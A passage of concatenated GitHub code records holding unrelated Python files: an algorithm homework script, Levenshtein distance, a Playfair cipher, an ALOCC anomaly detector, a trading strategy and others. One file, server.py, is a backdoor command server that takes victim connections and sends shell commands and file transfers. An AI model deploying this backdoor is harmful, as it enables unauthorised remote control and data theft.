10\n# Ввод: 7\n# 1 2 1 8 9 6 5 4 3 4\n# Вывод: 6\n\nimport random\n\nn = None # Количество элементов в массиве\nx = None # Число, которое необходимо проверить\nnum = 0 # число, ближайшее к X элементу.\nlist_n = [] # Перечень элементов\nflag = True\n\n# ## Проверка ввода\nwhile flag:\n try:\n n = int(input('Введите количество элементов: '))\n x = int(input('Введите число для проверки: '))\n if n <= 1:\n print('При количестве элементов < 1, нечего проверять!')\n elif x < 1:\n print('Вводите числа для проверки больше 0!')\n else:\n flag = False\n except:\n print('Не коректный ввод. Пробуйте еще раз!')\n\n# ## Наполнение списка элементами\n\nlist_n = [random.randint(1, n) for i in range(n)]\nprint(list_n)\n\n# ## вариант поиска ближайшего к X элемента.\n\n\nfor i in set(list_n):\n if x != i:\n if abs(x - i) < abs(x - num):\n num = i\n elif abs(x - i) == abs(x - num):\n num = min(i, num)\n \nprint(f'{num} - ближайшее, минимальное число к элементу: {x}')\n\n\n\n\n\n\n","repo_name":"EvgenyOgnev/Python_Homework","sub_path":"task_3_18.py","file_name":"task_3_18.py","file_ext":"py","file_size_in_byte":2152,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70871181529","text":"# Time O(MN), Space O(MN)\ndef levenstein(stringOne, stringTwo): \n dp = [[i for i in range(len(stringOne) + 1)] for _ in range(len(stringTwo) + 1)]\n \n for j in range(len(stringTwo) + 1): \n dp[j][0] = j \n\n for row in range(1, len(stringTwo) + 1): \n for col in range(1, len(stringOne) + 1): \n if stringOne[col -1] == stringTwo[row - 1]: dp[row][col] = dp[row - 1][col - 1]\n else: dp[row][col] = min(dp[row][col - 1], dp[row - 1][col], dp[row - 1][col -1]) + 1\n\n return dp[-1][-1]\n\nprint(levenstein('abc', 'yabd'))\n\n# Let's make it more memory efficient, space = O(min(M, N))\ndef levensteinMemoryEfficient(stringOne, stringTwo): \n if len(stringOne) >= len(stringTwo): shortest, longest = stringTwo, stringOne \n else: shortest, longest = stringOne, stringTwo \n\n even = [i for i in range(len(shortest) + 1)]\n odd = [None for _ in range(len(shortest) + 1)]\n\n for row in range(1, len(longest) + 1): \n if row % 2 == 1: \n current = odd \n previous = even \n else: \n current = even \n previous = odd \n current[0] = row \n for col in range(1, len(shortest) + 1): \n if shortest[col - 1] == longest[row - 1]: \n current[col] = previous[col - 1] \n else: \n current[col] = min(current[col - 1], previous[col], previous[col - 1]) + 1 \n\n return even[-1] if not row % 2 else odd[-1]\n \n\n\n\n\nprint(levensteinMemoryEfficient('abc', 'yabd'))","repo_name":"hampusrosvall/leetcode","sub_path":"levenstein_distance.py","file_name":"levenstein_distance.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6349248108","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport sys\nimport os\nfrom setuptools import setup, find_packages\n\ndef read(*paths):\n \"\"\"Build a file path from *paths* and return the contents.\"\"\"\n with open(os.path.join(*paths), 'r') as f:\n return f.read()\n\nhere = os.path.abspath(os.path.dirname(__file__))\n\n# put package test requirements here\nrequirements = [\n \"sh\",\n \"requests\",\n \"jinja2\",\n \"multipledispatch\",\n \"docker-py\",\n \"arrow\",\n \"PyYaml\",\n \"colorlog\",\n \"werkzeug\",\n \"json-rpc\",\n \"prompt_toolkit\",\n \"pygments\",\n \"stackhut-client >= 0.1.1\",\n]\n\n# put package test requirements here\ntest_requirements = []\n\nsetup(\n name='stackhut-toolkit',\n version='0.6.1',\n description=\"Deploy classes as Microservices\",\n long_description=read('readme_pip.rst'),\n license='Apache',\n author=\"StackHut\",\n author_email='stackhut@stackhut.com',\n url='https://github.com/stackhut/stackhut-toolkit',\n # download_url = 'https://github.com/stackhut/stackhut-tool/tarball/0.1.0'\n packages=find_packages(exclude=[\"*.tests\", \"*.tests.*\", \"tests.*\", \"tests\", \"\"]),\n include_package_data=True,\n entry_points={\n 'console_scripts': [\n 'stackhut = stackhut_toolkit.__main__:main',\n ],\n },\n install_requires=requirements,\n zip_safe=False,\n test_suite='tests',\n tests_require=test_requirements,\n keywords='stackhut',\n platforms=['POSIX'],\n classifiers=[\n 'Development Status :: 2 - Pre-Alpha',\n 'Intended Audience :: Developers',\n 'Environment :: Console',\n 'Natural Language :: English',\n 'License :: OSI Approved :: Apache Software License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.4',\n 'Topic :: Software Development',\n #'Private :: Do Not Upload', # hack to force invalid package for upload\n ],\n)\n","repo_name":"nstack/stackhut","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"31"} +{"seq_id":"19788350751","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 4 22:17:06 2019\n\n@author: supaul\n\"\"\"\n\nfrom tkinter import *\nfrom tkinter import messagebox\nimport csv\ndef checkRegularExpression(email):\n if(len(email)>7):\n if(re.match('^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\.[a-z0-9-]+)*(\\.[a-z]{2,4})$',email)!=None):\n return True\n else:\n return False\n else:\n return False\n \ndef buttonClick():\n eMail=enterText.get()\n if(checkRegularExpression(eMail)):\n messagebox.showinfo(\"Success\", \"You have been subscribed to the newsletter\")\n with open('EmailList.csv', 'a') as outfile:\n newFileWriter=csv.writer(outfile)\n emailList=[];\n emailList.append(eMail)\n newFileWriter.writerow(emailList)\n else:\n messagebox.showinfo(\"Failure\",\"Invalid email id\")\n return\n\n\nroot=Tk()\nroot.title(\"Newsletter\")\nemailLabel=Label(root,text=\"E mail\")\nemailLabel.pack()\nenterText = Entry(root)\nenterText.pack()\nbutton=Button(root,text=\"Submit\",command=buttonClick)\nbutton.pack()\n\nroot.mainloop()\n\n","repo_name":"hirok19/Newsletter","sub_path":"HelloWorld.py","file_name":"HelloWorld.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1628663859","text":"# Autor: Jiří Daberger\n\nimport string\nimport re\nimport numpy as np\n\n\ndef alphabet(lang=\"CZ\"):\n return list(string.ascii_lowercase.replace(\"w\", \"\")) if lang == \"CZ\" \\\n else list(string.ascii_lowercase.replace(\"q\", \"\"))\n\n\ndef translateText(text, key):\n loweredText = text.lower()\n if key is True:\n toChange = {'ě': 'e', 'š': 's', 'č': 'c', 'ř': 'r', 'ž': 'z', 'ý': 'y', 'á': 'a', 'í': 'i', 'é': 'e', 'ú': 'u',\n 'ů': 'u', 'ň': 'n', 'ť': 't', \"ó\": \"o\"}\n else:\n toChange = {'ě': 'e', 'š': 's', 'č': 'c', 'ř': 'r', 'ž': 'z', 'ý': 'y', 'á': 'a', 'í': 'i', 'é': 'e', 'ú': 'u',\n 'ů': 'u', 'ň': 'n', 'ť': 't', \"ó\": \"o\", \"0\": \"nula\", \"1\": \"jedna\", \"2\": \"dva\", \"3\": \"tri\",\n \"4\": \"ctyri\", \"5\": \"pet\", \"6\": \"sest\", \"7\": \"sedm\", \"8\": \"osm\", \"9\": \"devet\"}\n\n toTranslate = loweredText.maketrans(toChange)\n return loweredText.translate(toTranslate)\n\n\ndef splitText(text, pieces):\n text = text.upper()\n sT = \"\"\n for i in range(0, len(text), pieces):\n if i < len(text) - pieces:\n sT = sT + (text[i:i + pieces]) + \" \"\n else:\n sT = sT + (text[i:i + pieces])\n\n return sT\n\n\ndef filterText(text, lang, key=False):\n if key:\n reg = string.punctuation + string.digits + \"°´¨ˇ§\\t\\n\"\n else:\n reg = string.punctuation + \"°´¨ˇ§\\t\\n\"\n\n text = text.lower()\n text = translateText(text, key)\n\n text = text.replace(\"w\", \"v\") if lang == \"CZ\" else text.replace(\"q\", \"o\")\n\n text = re.sub(f\"[{reg}]\", \"\", text)\n return text\n\n\ndef repairText(text, lang, decrypt=False):\n text = text.replace(\"\\\\\", \"\")\n text = text.lower()\n text = filterText(text, lang)\n if decrypt is False:\n text = text.replace(\" \", \"XMEZERAX\")\n text = insertBetweenSameChars(text, lang)\n\n text = text.lower()\n textLen = len(text)\n if textLen % 2 != 0:\n if text[textLen-1] is \"z\":\n text += \"w\" if lang != \"CZ\" else \"v\"\n else:\n text += \"z\"\n else:\n text = text.replace(\" \", \"\")\n\n return text\n\n\ndef insertBetweenSameChars(text, lang):\n text = text.lower()\n l = len(text)\n i = 0\n while i < l:\n textPart = text[i:i + 2]\n if len(textPart) > 1:\n if textPart[0] == textPart[1]:\n text = text[:i+1] + (\"z\" if textPart[0] != \"z\" else \"w\" if lang != \"CZ\" else \"v\") + text[i+1:]\n l = len(text)\n\n i += 2\n\n return text\n\n\ndef createTable(key, lang, size=5):\n key = list(dict.fromkeys(filterText(key.replace(\" \", \"\").replace(\"\\\\\", \"\"), lang, True)))\n\n al = alphabet(lang)\n fill = np.concatenate((key, al)) # arrays join\n filled = list(dict.fromkeys(fill)) # delete same keys\n\n arr = [[]*size]*size\n for i in range(0, size*size, size):\n arr[int(i/size)] = filled[i:i+size]\n\n return arr\n\n\ndef findIn2dArray(keyArray, find):\n for i, e in enumerate(keyArray):\n try:\n return i, e.index(find)\n except ValueError:\n pass\n return None\n\n\ndef getShape(key, chars, decrypt=False):\n a = findIn2dArray(key, chars[0])\n b = findIn2dArray(key, chars[1])\n\n if a[0] == b[0]:\n # Same row\n if decrypt is False:\n a = (a[0], a[1] + 1 if a[1] < len(key[1]) - 1 else 0)\n b = (b[0], b[1] + 1 if b[1] < len(key[1]) - 1 else 0)\n else:\n a = (a[0], a[1] - 1 if a[1] > 0 else len(key[1]) - 1)\n b = (b[0], b[1] - 1 if b[1] > 0 else len(key[1]) - 1)\n\n elif a[1] == b[1]:\n # Same column\n if decrypt is False:\n a = (a[0] + 1 if a[0] < len(key[0]) - 1 else 0, a[1])\n b = (b[0] + 1 if b[0] < len(key[0]) - 1 else 0, b[1])\n else:\n a = (a[0] - 1 if a[0] > 0 else len(key[0]) - 1, a[1])\n b = (b[0] - 1 if b[0] > 0 else len(key[0]) - 1, b[1])\n pass\n else:\n # Square\n aTemp = a\n a = (a[0], b[1])\n b = (b[0], aTemp[1])\n\n return a, b\n\n\ndef encrypt(text, key, lang):\n keyArr = createTable(key, lang)\n text = repairText(text, lang)\n\n pairs = splitText(text, 2)\n cT = \"\"\n for i in range(0, len(text)-1, 2):\n coords = getShape(keyArr, text[i:i+2])\n cT += keyArr[coords[0][0]][coords[0][1]]\n cT += keyArr[coords[1][0]][coords[1][1]]\n\n return pairs, splitText(cT, 5)\n\n\ndef recoverChanges(text):\n loweredText = text.lower()\n\n changedText = loweredText.replace(\"nula\", \"0\").replace(\"jedna\", \"1\").replace(\"dva\", \"2\").replace(\"tri\", \"3\")\\\n .replace(\"ctyri\", \"4\").replace(\"pet\", \"5\").replace(\"sest\", \"6\").replace(\"sedm\", \"7\").replace(\"osm\", \"8\")\\\n .replace(\"devet\", \"9\").replace(\"xmezerax\", \" \")\n return changedText\n\n\ndef decrypt(text, key, lang):\n keyArr = createTable(key, lang)\n text = repairText(text, lang, True)\n\n pairs = splitText(text, 2)\n oT = \"\"\n for i in range(0, len(text) - 1, 2):\n coords = getShape(keyArr, text[i:i + 2], True)\n oT += keyArr[coords[0][0]][coords[0][1]]\n oT += keyArr[coords[1][0]][coords[1][1]]\n\n oT = recoverChanges(oT)\n return pairs, oT\n","repo_name":"grasski/Kryptologie","sub_path":"PlayfairCipher/supportFunctions.py","file_name":"supportFunctions.py","file_ext":"py","file_size_in_byte":5201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39183318082","text":"import datetime as dt\nfrom pathlib import Path\n\nimport numpy as np\nimport numpy.typing as npt\nfrom loguru import logger\nfrom pm_tb_data.fetch.au_si import AU_SI_RESOLUTIONS\nfrom pm_tb_data._types import Hemisphere\n\nfrom pm_icecon.constants import BT_GODDARD_ANCILLARY_DIR, CDR_TESTDATA_DIR\nfrom pm_icecon.masks import get_pss_12_validice_land_coast_array\nfrom pm_icecon.util import get_ps25_grid_shape\n\n\ndef get_ps_invalid_ice_mask(\n *,\n hemisphere: Hemisphere,\n date: dt.date,\n resolution: AU_SI_RESOLUTIONS,\n) -> npt.NDArray[np.bool_]:\n \"\"\"Read and return the polar stereo invalid ice mask.\n\n `True` values indicate areas that are masked as invalid.\n \"\"\"\n logger.info(\n f\"Reading valid ice mask for PS{hemisphere[0].upper()} {resolution}km grid\"\n ) # noqa\n if hemisphere == \"north\":\n if resolution == \"25\":\n sst_fn = (\n BT_GODDARD_ANCILLARY_DIR / f\"np_sect_sst1_sst2_mask_{date:%m}.int\"\n ).resolve()\n sst_mask = np.fromfile(sst_fn, dtype=np.int16).reshape(\n get_ps25_grid_shape(hemisphere=hemisphere)\n )\n elif resolution == \"12\":\n mask_fn = (\n CDR_TESTDATA_DIR\n / f\"btequiv_psn12.5/bt_validmask_psn12.5km_{date:%m}.dat\"\n )\n\n sst_mask = np.fromfile(mask_fn, dtype=np.int16).reshape(896, 608)\n else:\n if resolution == \"12\":\n # values of 24 indicate invalid ice.\n sst_mask = get_pss_12_validice_land_coast_array(date=date)\n elif resolution == \"25\":\n sst_fn = Path(\n BT_GODDARD_ANCILLARY_DIR\n / f\"SH_{date:%m}_SST_avhrr_threshold_{date:%m}_fixd.int\"\n )\n sst_mask = np.fromfile(sst_fn, dtype=np.int16).reshape(\n get_ps25_grid_shape(hemisphere=hemisphere)\n )\n\n is_high_sst = sst_mask == 24\n\n return is_high_sst\n","repo_name":"nsidc/pm_icecon","sub_path":"pm_icecon/bt/masks.py","file_name":"masks.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"26106870225","text":"import tempfile\n\nimport numpy as np\nimport tensorflow as tf\nfrom sklearn.metrics import auc, f1_score, roc_curve\nfrom tensorflow.keras import layers\n\nimport fastestimator as fe\nfrom fastestimator.backend import binary_crossentropy\nfrom fastestimator.op.numpyop import LambdaOp\nfrom fastestimator.op.numpyop.univariate import ExpandDims, Normalize\nfrom fastestimator.op.tensorop import TensorOp\nfrom fastestimator.op.tensorop.model import ModelOp, UpdateOp\nfrom fastestimator.trace import Trace\nfrom fastestimator.trace.io import BestModelSaver\nfrom fastestimator.util import to_number\n\n\ndef reconstructor(input_shape=(28, 28, 1)):\n model = tf.keras.Sequential()\n # Encoder Block\n model.add(\n layers.Conv2D(32, (5, 5),\n strides=(2, 2),\n padding='same',\n kernel_initializer=tf.keras.initializers.TruncatedNormal(stddev=0.02),\n input_shape=input_shape))\n model.add(layers.BatchNormalization())\n model.add(layers.LeakyReLU(0.2))\n model.add(\n layers.Conv2D(64, (5, 5),\n strides=(2, 2),\n kernel_initializer=tf.keras.initializers.TruncatedNormal(stddev=0.02),\n padding='same'))\n model.add(layers.BatchNormalization())\n model.add(layers.LeakyReLU(0.2))\n model.add(\n layers.Conv2D(128, (5, 5),\n strides=(2, 2),\n kernel_initializer=tf.keras.initializers.TruncatedNormal(stddev=0.02),\n padding='same'))\n model.add(layers.BatchNormalization())\n model.add(layers.LeakyReLU(0.2))\n\n # Decoder Block\n model.add(\n layers.Conv2DTranspose(32, (5, 5),\n strides=(2, 2),\n output_padding=(0, 0),\n padding='same',\n kernel_initializer=tf.keras.initializers.RandomNormal(stddev=0.02)))\n model.add(layers.BatchNormalization())\n model.add(layers.ReLU())\n model.add(\n layers.Conv2DTranspose(16, (5, 5),\n strides=(2, 2),\n padding='same',\n kernel_initializer=tf.keras.initializers.RandomNormal(stddev=0.02)))\n model.add(layers.BatchNormalization())\n model.add(layers.ReLU())\n model.add(\n layers.Conv2DTranspose(1, (5, 5),\n strides=(2, 2),\n padding='same',\n kernel_initializer=tf.keras.initializers.RandomNormal(stddev=0.02),\n activation='tanh'))\n return model\n\n\ndef discriminator(input_shape=(28, 28, 1)):\n model = tf.keras.Sequential()\n model.add(\n layers.Conv2D(16, (5, 5),\n strides=(2, 2),\n padding='same',\n kernel_initializer=tf.keras.initializers.TruncatedNormal(stddev=0.02),\n input_shape=input_shape))\n model.add(layers.BatchNormalization())\n model.add(layers.LeakyReLU(0.2))\n model.add(\n layers.Conv2D(32, (5, 5),\n strides=(2, 2),\n padding='same',\n kernel_initializer=tf.keras.initializers.TruncatedNormal(stddev=0.02)))\n model.add(layers.BatchNormalization())\n model.add(layers.LeakyReLU(0.2))\n model.add(\n layers.Conv2D(64, (5, 5),\n strides=(2, 2),\n padding='same',\n kernel_initializer=tf.keras.initializers.TruncatedNormal(stddev=0.02)))\n model.add(layers.BatchNormalization())\n model.add(layers.LeakyReLU(0.2))\n model.add(\n layers.Conv2D(128, (5, 5),\n strides=(2, 2),\n padding='same',\n kernel_initializer=tf.keras.initializers.TruncatedNormal(stddev=0.02)))\n model.add(layers.LeakyReLU(0.2))\n model.add(layers.Flatten())\n model.add(layers.Dense(1, activation=\"sigmoid\"))\n return model\n\n\nclass RLoss(TensorOp):\n def __init__(self, alpha=0.2, inputs=None, outputs=None, mode=None):\n super().__init__(inputs, outputs, mode)\n self.alpha = alpha\n\n def forward(self, data, state):\n fake_score, x_fake, x = data\n recon_loss = binary_crossentropy(y_true=x, y_pred=x_fake, from_logits=True)\n adv_loss = binary_crossentropy(y_pred=fake_score, y_true=tf.ones_like(fake_score), from_logits=True)\n return adv_loss + self.alpha * recon_loss\n\n\nclass DLoss(TensorOp):\n def forward(self, data, state):\n true_score, fake_score = data\n real_loss = binary_crossentropy(y_pred=true_score, y_true=tf.ones_like(true_score), from_logits=True)\n fake_loss = binary_crossentropy(y_pred=fake_score, y_true=tf.zeros_like(fake_score), from_logits=True)\n total_loss = real_loss + fake_loss\n return total_loss\n\n\nclass F1AUCScores(Trace):\n \"\"\"Computes F1-Score and AUC Score for a classification task and reports it back to the logger.\n \"\"\"\n def __init__(self, true_key, pred_key, mode=(\"eval\", \"test\"), output_name=(\"auc_score\", \"f1_score\")):\n super().__init__(inputs=(true_key, pred_key), outputs=output_name, mode=mode)\n self.y_true = []\n self.y_pred = []\n\n @property\n def true_key(self):\n return self.inputs[0]\n\n @property\n def pred_key(self):\n return self.inputs[1]\n\n def on_epoch_begin(self, data):\n self.y_true = []\n self.y_pred = []\n\n def on_batch_end(self, data):\n y_true, y_pred = to_number(data[self.true_key]), to_number(data[self.pred_key])\n assert y_pred.size == y_true.size\n self.y_pred.extend(y_pred.ravel())\n self.y_true.extend(y_true.ravel())\n\n def on_epoch_end(self, data):\n fpr, tpr, thresholds = roc_curve(self.y_true, self.y_pred, pos_label=1) # (y, score, positive_label)\n roc_auc = auc(fpr, tpr)\n eer_threshold = thresholds[np.nanargmin(np.absolute((1 - tpr - fpr)))]\n y_pred_class = np.copy(self.y_pred)\n y_pred_class[y_pred_class >= eer_threshold] = 1\n y_pred_class[y_pred_class < eer_threshold] = 0\n f_score = f1_score(self.y_true, y_pred_class, pos_label=0)\n\n data.write_with_log(self.outputs[0], roc_auc)\n data.write_with_log(self.outputs[1], f_score)\n\n\ndef get_estimator(epochs=20, batch_size=128, train_steps_per_epoch=None, save_dir=tempfile.mkdtemp()):\n # Dataset Creation\n (x_train, y_train), (x_eval, y_eval) = tf.keras.datasets.mnist.load_data()\n x_eval0, y_eval0 = x_eval[np.where((y_eval == 1))], np.ones(y_eval[np.where((y_eval == 1))].shape)\n x_eval1, y_eval1 = x_eval[np.where((y_eval != 1))], y_eval[np.where((y_eval != 1))]\n\n # Ensuring outliers comprise 50% of the dataset\n index = np.random.choice(x_eval1.shape[0], int(x_eval0.shape[0]), replace=False)\n x_eval1, y_eval1 = x_eval1[index], np.zeros(y_eval1[index].shape)\n\n x_train, y_train = x_train[np.where((y_train == 1))], np.zeros(y_train[np.where((y_train == 1))].shape)\n train_data = fe.dataset.NumpyDataset({\"x\": x_train, \"y\": y_train})\n\n x_eval, y_eval = np.concatenate([x_eval0, x_eval1]), np.concatenate([y_eval0, y_eval1])\n eval_data = fe.dataset.NumpyDataset({\"x\": x_eval, \"y\": y_eval})\n\n pipeline = fe.Pipeline(\n train_data=train_data,\n eval_data=eval_data,\n batch_size=batch_size,\n ops=[\n ExpandDims(inputs=\"x\", outputs=\"x\"),\n Normalize(inputs=\"x\", outputs=\"x\", mean=1.0, std=1.0, max_pixel_value=127.5),\n LambdaOp(fn=lambda x: x + np.random.normal(loc=0.0, scale=0.155, size=(28, 28, 1)),\n inputs=\"x\",\n outputs=\"x_w_noise\",\n mode=\"train\")\n ])\n\n recon_model = fe.build(model_fn=reconstructor,\n optimizer_fn=lambda: tf.optimizers.RMSprop(2e-4),\n model_name=\"reconstructor\")\n disc_model = fe.build(model_fn=discriminator,\n optimizer_fn=lambda: tf.optimizers.RMSprop(1e-4),\n model_name=\"discriminator\")\n\n network = fe.Network(ops=[\n ModelOp(model=recon_model, inputs=\"x_w_noise\", outputs=\"x_fake\", mode=\"train\"),\n ModelOp(model=recon_model, inputs=\"x\", outputs=\"x_fake\", mode=\"eval\"),\n ModelOp(model=disc_model, inputs=\"x_fake\", outputs=\"fake_score\"),\n ModelOp(model=disc_model, inputs=\"x\", outputs=\"true_score\"),\n RLoss(inputs=(\"fake_score\", \"x_fake\", \"x\"), outputs=\"rloss\"),\n UpdateOp(model=recon_model, loss_name=\"rloss\"),\n DLoss(inputs=(\"true_score\", \"fake_score\"), outputs=\"dloss\"),\n UpdateOp(model=disc_model, loss_name=\"dloss\"),\n ])\n\n traces = [\n F1AUCScores(true_key=\"y\", pred_key=\"fake_score\", mode=\"eval\", output_name=[\"auc_score\", \"f1_score\"]),\n BestModelSaver(model=recon_model, save_dir=save_dir, metric='f1_score', save_best_mode='max'),\n BestModelSaver(model=disc_model, save_dir=save_dir, metric='f1_score', save_best_mode='max'),\n ]\n\n estimator = fe.Estimator(pipeline=pipeline,\n network=network,\n epochs=epochs,\n traces=traces,\n train_steps_per_epoch=train_steps_per_epoch,\n log_steps=50)\n\n return estimator\n\n\nif __name__ == \"__main__\":\n est = get_estimator()\n est.fit()\n","repo_name":"fastestimator/fastestimator","sub_path":"apphub/anomaly_detection/alocc/alocc_tf.py","file_name":"alocc_tf.py","file_ext":"py","file_size_in_byte":9502,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"31"} +{"seq_id":"27037198746","text":"import pygame as pg\nimport pymunk as pm\nfrom debugger import Debugger\nfrom cursor import Cursor\n\n# pygame stuff\npg.init()\n\nD_W, D_H = 640, 800\nDISPLAY = pg.display.set_mode((D_W, D_H))\npg.display.set_caption(\"bumpy escape\")\n\nFPS = 60\n\n# pymunk stuff\nspace = pm.Space()\nspace.gravity = 0, 0 # top down, no gravity\n\ncell_size = D_W / 10\n\nchannel_music = pg.mixer.Channel(0)\n\ndebugger = Debugger()\n\ncursor = Cursor()\n","repo_name":"AndreyVarvar/bump-escape","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"719610558","text":"import bearalpha as ba\nfrom ..indicators import *\n\n\n\nclass GridStrategy(ba.Strategy):\n params = (('cashnum', 5),)\n \n def __init__(self) -> None:\n self.grids = Grid(period=20)\n self.levels = [self.grids.level1, self.grids.level2, self.grids.level3, self.grids.level4, self.grids.level5]\n self.grid = self.grids.grid\n self.pregrid = self.grids.grid(-1)\n self.griddiff = self.grid - self.pregrid\n self.cashes = [self.broker.getcash() / self.p.cashnum for _ in range(self.p.cashnum)]\n self.holds = []\n \n def notify_order(self, order: ba.Order):\n if order.status in [order.Created, order.Accepted, order.Submitted]:\n return\n elif order.status in [order.Completed]:\n self.log(f'Trade <{order.executed.size}> at <{order.executed.price}>')\n if order.isbuy():\n self.cashes.pop()\n self.holds.append(order.executed.size)\n else:\n self.holds.pop()\n self.cashes.append(-order.executed.price * order.executed.size)\n elif order.status in [order.Canceled, order.Margin, order.Rejected, order.Expired]:\n self.log(f'order failed to execute')\n\n def buygrid(self, grid: int):\n if self.cashes:\n if grid == 0:\n self.order = self.buy(size=self.cashes[-1] // self.data.low[0],\n exectype=ba.Order.Limit, price=self.data.low[0])\n else:\n self.order = self.buy(size=self.cashes[-1] // self.levels[int(grid - 1)][0],\n exectype=ba.Order.Limit, price=self.levels[int(grid - 1)][0])\n else:\n self.log(f'Grid drop, no cash to buy', hint='WARN')\n\n def sellgrid(self, grid: int):\n if self.holds:\n if grid == 4:\n self.order = self.sell(size=self.holds[-1], exectype=ba.Order.Limit, price=self.data.high[0])\n else:\n self.order = self.sell(size=self.holds[-1], exectype=ba.Order.Limit, price=self.levels[int(grid)][0])\n else:\n self.log(f'Grid raise, no holds to sell', hint='WARN')\n\n def nextstart(self):\n self.log(f'start with {self.grid[0]}')\n self.buygrid(self.grid[0])\n \n def next(self):\n if self.griddiff[0] < 0:\n if self.order.status not in [self.order.Canceled, self.order.Completed, self.order.Rejected, self.order.Expired]:\n self.cancel(self.order)\n self.buygrid(self.grid[0])\n elif self.griddiff[0] > 0:\n if self.order.status not in [self.order.Canceled, self.order.Completed, self.order.Rejected, self.order.Expired]:\n self.cancel(self.order)\n self.sellgrid(self.grid[0])\n\n","repo_name":"ppoak/bearalpha-example","sub_path":"backtest/strategies/grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"27242125721","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\nimport sklearn.datasets as datasets\nimport pandas as pd\nimport os\nimport sys, getopt\n\ndef main(argv):\n path = ''\n try:\n opts, args = getopt.getopt(argv,\"hp:\",[\"path=\"])\n except getopt.GetoptError:\n print ('test.py -p <path>')\n sys.exit(2)\n for opt, arg in opts:\n if opt == '-h':\n print ('test.py -p <path>')\n sys.exit()\n elif opt in (\"-p\", \"--path\"):\n path = arg\n # print ('输入的文件为:', path + '\\dt.png')\n \n iris=datasets.load_iris()\n df=pd.DataFrame(iris.data, columns=iris.feature_names)\n y=iris.target\n from sklearn.tree import DecisionTreeClassifier\n dtree=DecisionTreeClassifier()\n dtree.fit(df,y)\n from sklearn.externals.six import StringIO \n from IPython.display import Image \n from sklearn.tree import export_graphviz\n import pydotplus\n dot_data = StringIO()\n export_graphviz(dtree, out_file=dot_data,filled=True, rounded=True,special_characters=True)\n graph = pydotplus.graph_from_dot_data(dot_data.getvalue()) \n Image(graph.create_png())\n graph.write_png(path + '\\dtTest.png')\n print(os.getcwd())\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])","repo_name":"aaneloy/VBA","sub_path":"externalAccess/dtTest.py","file_name":"dtTest.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"11950223453","text":"import os\nimport socket\nimport json\n\n\ndef reliable_send(data):\n jsondata = json.dumps(data)\n target.send(jsondata.encode())\n\n\n\ndef reliable_recv():\n data = ''\n while True:\n try:\n data = data + target.recv(1024).decode().rstrip()\n return json.loads(data)\n except ValueError:\n continue\n\n\ndef upload_file(file_name):\n f = open(file_name,'rb')\n target.send(f.read())\n\n\n\ndef download_file(file_name):\n f = open(file_name, 'wb')\n target.settimeout(1)\n chunk = target.recv(1024)\n while chunk:\n f.write(chunk)\n try:\n chunk=target.recv(1024)\n except socket.timeout as e:\n break\n target.settimeout(None)\n f.close()\n\n\n\ndef target_communication():\n while True:\n command = input('* Shell~%s: '% str(ip))\n reliable_send(command)\n if command == 'quit':\n break\n elif command == 'clear':\n os.system('clear')\n elif command[:3] == 'cd ':\n pass\n elif command[:8]=='download':\n download_file(command[9:])\n elif command[:6] == 'upload':\n upload_file(command[7:])\n else:\n result = reliable_recv()\n print(result)\n\n\n\n\nsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n#socket.AF_INET is use to make connection over IPV4\n#socket.SOCK_STREAM is use to establish connection of TCP\nsock.bind(('192.168.108.1', 5555)) #this ip address and port is out kali linux\nprint(\"[+] Listening for the incoming connections...\")\nsock.listen(5)\ntarget, ip = sock.accept()\nprint('[+] Target connected from ' + str(ip))\ntarget_communication()","repo_name":"Nikhil-d-963/Secure-Back-Door-And-Server","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"25011722895","text":"#Problem statement Write a program that divides two numbers\n\ndef Divide(no1, no2):\n if(no2 == 0):\n print(\"Invalid input for second number\");\n else:\n return (no1/no2);\n \n\ndef main():\n no1 = int(input(\"Enter first number:\"));\n no2 = int(input(\"Enter second number:\"));\n ans = Divide(no1,no2);\n print(\"Answer: \",ans);\n \nif __name__ == \"__main__\":\n main();","repo_name":"Aditya-A-Pardeshi/Coding-Hands-On","sub_path":"4 Python_Programs/1 Problems on numbers/1_DivideTwoNumbers/Demo.py","file_name":"Demo.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"5416138218","text":"\n\nimport ROOT as rt\n# import root_numpy as rtnp\nimport csv\nimport re\nimport sys\nimport collections\nimport os\n\nfrom collections import OrderedDict\nimport uproot\nimport pandas as pd\nimport math\nimport scipy\nimport awkward\nimport numpy as np\nimport time\nsys.path.append('/storage/af/user/christiw/gpu/christiw/llp/delayed_jet_analyzer/lib/')\nfrom 